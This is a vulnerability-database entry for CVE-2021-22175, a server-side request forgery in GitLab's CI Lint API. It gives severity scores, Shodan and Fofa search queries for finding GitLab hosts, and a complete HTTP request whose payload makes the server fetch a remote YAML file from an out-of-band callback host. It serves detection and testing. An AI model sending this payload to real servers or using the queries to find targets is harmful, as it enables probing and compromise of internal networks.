🔙 목록으로 돌아가기

CVE-2021-22175: GitLab CI Lint API - Server-Side Request Forgery

TitleGitLab CI Lint API - Server-Side Request Forgery
Author0x_Akoko
SeverityHigh
ImpactUnauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
RemediationUpdate to the latest version of GitLab where the vulnerability is fixed.
CVSS Score8.6
EPSS Score0.60386
CVE IDCVE-2021-22175
CWE IDCWE-918
Shodan Queryhttp.title:"GitLab"
Fofa Queryapp="GitLab"
Tags cve cve2021 gitlab ssrf oast vkev

🔍 Vulnerability Description

GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.

🌐 HTTP Request

POST /api/v4/ci/lint HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 123
Content-Type: application/json
Accept-Encoding: gzip

{"include_merged_yaml":true,"content":"include:\n  remote: 'http://d5jn7n9le0o07267qcv0e7yoxmq861nyr.oast.fun/gitlab.yml'"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22175.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-22175.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A